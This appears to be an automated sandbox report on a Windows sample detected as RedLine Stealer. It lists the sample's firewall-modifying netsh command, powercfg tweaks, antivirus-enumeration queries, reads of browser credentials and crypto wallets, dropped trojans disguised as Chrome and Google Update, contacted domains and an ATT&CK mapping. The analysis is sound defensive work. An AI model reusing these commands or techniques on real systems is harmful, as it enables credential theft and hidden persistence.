Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\cfBJlHsOsz.exe

Code function: 0_2_0040ECFC GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_0040ECFC

Lowering of HIPS / PFW / Operating System Security Settings

Uses netsh to modify the Windows network and firewall settings

Source: C:\Windows\GoogleUpdate.exe

Process created: C:\Windows\SysWOW64\netsh.exe netsh firewall add allowedprogram "C:\Windows\GoogleUpdate.exe" "Google Updater" ENABLE ALL

Modifies power options to not sleep / hibernate

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0

Modifies the windows firewall

Source: C:\Windows\GoogleUpdate.exe

Process created: C:\Windows\SysWOW64\netsh.exe netsh firewall add allowedprogram "C:\Windows\GoogleUpdate.exe" "Google Updater" ENABLE ALL

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.2.cfBJlHsOsz.exe.41b788.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.cfBJlHsOsz.exe.460000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.cfBJlHsOsz.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.269701841.000000000041C000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.247312905.0000000000462000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.248225794.000000000041C000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.248833515.000000000041C000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: cfBJlHsOsz.exe PID: 2572, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 5072, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ElectrumE#
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: JaxxE#
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ExodusE#
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: EthereumE#
Source: powershell.exe, 00000022.00000002.536792064.000001FA0183C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: # AutoUnlockKeyStored. Win32_EncryptableVolume::IsAutoUnlockKeyStored

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\			Jump to behavior

Source: Yara match	File source: 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 5072, type: MEMORYSTR

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.2.cfBJlHsOsz.exe.41b788.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.cfBJlHsOsz.exe.460000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.cfBJlHsOsz.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.269701841.000000000041C000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.247312905.0000000000462000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.248225794.000000000041C000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.248833515.000000000041C000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: cfBJlHsOsz.exe PID: 2572, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 5072, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	221 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	31 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	2 Native API	1 Windows Service	1 Windows Service	11 Deobfuscate/Decode Files or Information	1 Credential API Hooking	1 File and Directory Discovery	Remote Desktop Protocol	3 Data from Local System	Exfiltration Over Bluetooth	11 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	1 Shared Modules	1 Scheduled Task/Job	711 Process Injection	31 Obfuscated Files or Information	1 Input Capture	234 System Information Discovery	SMB/Windows Admin Shares	1 Credential API Hooking	Automated Exfiltration	1 Non-Standard Port	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	11 Command and Scripting Interpreter	Logon Script (Mac)	1 Scheduled Task/Job	21 Software Packing	NTDS	571 Security Software Discovery	Distributed Component Object Model	1 Input Capture	Scheduled Transfer	3 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	1 Scheduled Task/Job	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	11 Process Discovery	SSH	Keylogging	Data Transfer Size Limits	14 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	1 Service Execution	Rc.common	Rc.common	122 Masquerading	Cached Domain Credentials	361 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	1 PowerShell	Startup Items	Startup Items	1 Modify Registry	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	361 Virtualization/Sandbox Evasion	Proc Filesystem	1 Remote System Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	711 Process Injection	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
cfBJlHsOsz.exe	85%	ReversingLabs	Win32.Trojan.RedLine
cfBJlHsOsz.exe	55%	Virustotal		Browse
cfBJlHsOsz.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Google\chrome.exe	100%	Avira	HEUR/AGEN.1213193
C:\Users\user\AppData\Local\Temp\8ABA.tmp	100%	Avira	TR/Dropper.MSIL.Gen
C:\Users\user\AppData\Local\Google\chrome.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\8ABA.tmp	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Google\ofg.exe	100%	Joe Sandbox ML
C:\Program Files\Google\Chrome\updater.exe	85%	ReversingLabs	Win64.Trojan.SpyLoader
C:\Users\user\AppData\Local\Google\brave.exe	85%	ReversingLabs	Win64.Trojan.SpyLoader
C:\Users\user\AppData\Local\Google\chrome.exe	68%	ReversingLabs	Win32.Trojan.Lazy
C:\Users\user\AppData\Local\Google\ofg.exe	27%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\8ABA.tmp	81%	ReversingLabs	ByteCode-MSIL.Trojan.Lazy
C:\Windows\GoogleUpdate.exe	0%	ReversingLabs

Unpacked PE Files

Source	Detection	Scanner	Label	Download
41.2.chrome.exe.f40000.0.unpack	100%	Avira	HEUR/AGEN.1213193	Download File
21.2.chrome.exe.f40000.0.unpack	100%	Avira	HEUR/AGEN.1213193	Download File
57.2.chrome.exe.f40000.0.unpack	100%	Avira	HEUR/AGEN.1213193	Download File
57.0.chrome.exe.f40000.0.unpack	100%	Avira	HEUR/AGEN.1213193	Download File
51.2.GoogleUpdate.exe.970000.0.unpack	100%	Avira	TR/TDSS.Gen2	Download File
21.0.chrome.exe.f40000.0.unpack	100%	Avira	HEUR/AGEN.1213193	Download File
41.0.chrome.exe.f40000.0.unpack	100%	Avira	HEUR/AGEN.1213193	Download File

Domains

Source	Detection	Scanner	Link
api.peer2profit.com	0%	Virustotal	Browse
idpminic.org	0%	Virustotal	Browse
www.idpminic.org	2%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://tempuri.org/Entity/Id12Response	0%	URL Reputation	safe
http://tempuri.org/	0%	URL Reputation	safe
http://tempuri.org/Entity/Id2Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id2Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id21Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id15Response	0%	URL Reputation	safe
https://api.ip.sb/ip	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://tempuri.org/Entity/Id24Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id5Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id10Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id8Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id13Response	0%	URL Reputation	safe
https://api.peer2profit.com/%:15	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id22Response	0%	URL Reputation	safe
https://api.peer2profit.com/api/proxy/nodes/geti	0%	Avira URL Cloud	safe
https://api.peer2profit.com/0	0%	Avira URL Cloud	safe
https://api.peer2profit.com/api/proxy/nodes/getm	0%	Avira URL Cloud	safe
https://api.peer2profit.com//	0%	Avira URL Cloud	safe
https://api.peer2profit.com/api/proxy/nodes/getY	0%	Avira URL Cloud	safe
https://api.peer2profit.com/h	0%	Avira URL Cloud	safe
https://api.peer2profit.com//	0%	Virustotal		Browse
https://api.peer2profit.com/r2profit.com/	0%	Avira URL Cloud	safe
https://api.peer2profit.com/X	0%	Avira URL Cloud	safe
https://api.peer2profit.com/api/proxy/nodes/getA3	0%	Avira URL Cloud	safe
https://api.peer2profit.com/lY:	0%	Avira URL Cloud	safe
https://api.peer2profit.com/api/proxy/nodes/get&	0%	Avira URL Cloud	safe
https://api.peer2profit.com/api/proxy/nodes/get0	0%	Avira URL Cloud	safe
https://api.peer2profit.com/api/proxy/nodes/get	0%	Avira URL Cloud	safe
http://www.idpminic.org44k	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id4onh	0%	Avira URL Cloud	safe
https://api.peer2profit.com/api/proxy/nodes/getU	0%	Avira URL Cloud	safe
https://api.peer2profit.com/(	0%	Avira URL Cloud	safe
https://api.peer2profit.com/api/proxy/nodes/getB	0%	Avira URL Cloud	safe
https://api.peer2profit.com/r2profit.com/hy	0%	Avira URL Cloud	safe
https://api.peer2profit.com/api/proxy/nodes/get=	0%	Avira URL Cloud	safe
http://www.idpminic.org	0%	Avira URL Cloud	safe
https://waapi.peer2profit.com/api/proxy/nodes/get	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id19Responseh	0%	Avira URL Cloud	safe
https://api.peer2profit.com/hyf:r5	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id22ResponselEh	0%	Avira URL Cloud	safe
https://api.peer2profit.com/hy.::5	0%	Avira URL Cloud	safe
https://api.peer2profit.com/l3:	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.peer2profit.com	172.66.43.60	true	true	0%, Virustotal, Browse	unknown
pool.hashvault.pro	95.179.241.203	true	false		high
idpminic.org	66.235.200.147	true	false	0%, Virustotal, Browse	unknown
www.idpminic.org	unknown	unknown	true	2%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.peer2profit.com/api/proxy/nodes/get	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text	vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc/sct	vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	vbc.exe, 00000002.00000002.382774792.00000000087D5000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.375890183.0000000008498000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.364210639.00000000075E9000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.379197715.000000000862B000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.377429699.000000000854C000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.362530961.000000000755C000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.378094735.00000000085AD000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.359277016.00000000074CF000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.377201901.000000000852F000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.375650356.000000000847B000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.374512584.000000000841A000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.382548505.00000000087B8000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.374049271.00000000083FD000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.381862409.0000000008757000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.378374784.00000000085CA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk	vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	vbc.exe, 00000002.00000002.378374784.00000000085CA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.peer2profit.com/api/proxy/nodes/getm	GoogleUpdate.exe, 00000033.00000002.589215823.000000000077B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id12Response	vbc.exe, 00000002.00000002.364412910.00000000075F6000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.354507239.0000000007381000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.peer2profit.com/api/proxy/nodes/geti	GoogleUpdate.exe, 00000033.00000003.404772246.00000000007D5000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000002.593295784.00000000007D5000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.423596351.00000000007D5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.peer2profit.com/0	GoogleUpdate.exe, 00000033.00000002.593295784.00000000007D5000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.463851591.00000000007F3000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.476737105.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.459548371.00000000007F3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/	vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.354507239.0000000007381000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id2Response	vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.354507239.0000000007381000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://api.peer2profit.com//	GoogleUpdate.exe, 00000033.00000003.425249679.00000000007F3000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.431176320.00000000007F1000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.422505726.00000000007F3000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.485720727.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.502672286.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.509419972.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.487862053.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.483890550.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.481536095.00000000007F2000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.peer2profit.com/%:15	GoogleUpdate.exe, 00000033.00000003.403752842.00000000007F6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1	vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id21Response	vbc.exe, 00000002.00000002.364412910.00000000075F6000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.354507239.0000000007381000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap	vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID	vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.peer2profit.com/api/proxy/nodes/getY	GoogleUpdate.exe, 00000033.00000002.593295784.00000000007D5000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.423596351.00000000007D5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret	vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultp	vbc.exe, 00000002.00000002.354507239.0000000007381000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted	vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence	vbc.exe, 00000002.00000002.354507239.0000000007381000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.peer2profit.com/h	GoogleUpdate.exe, 00000033.00000003.420704312.00000000007F3000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.417663402.00000000007F4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000022.00000002.551873641.000001FA10063000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/fault	vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.peer2profit.com/r2profit.com/	GoogleUpdate.exe, 00000033.00000003.511460584.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.509419972.00000000007F2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat	vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id15Response	vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.354507239.0000000007381000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
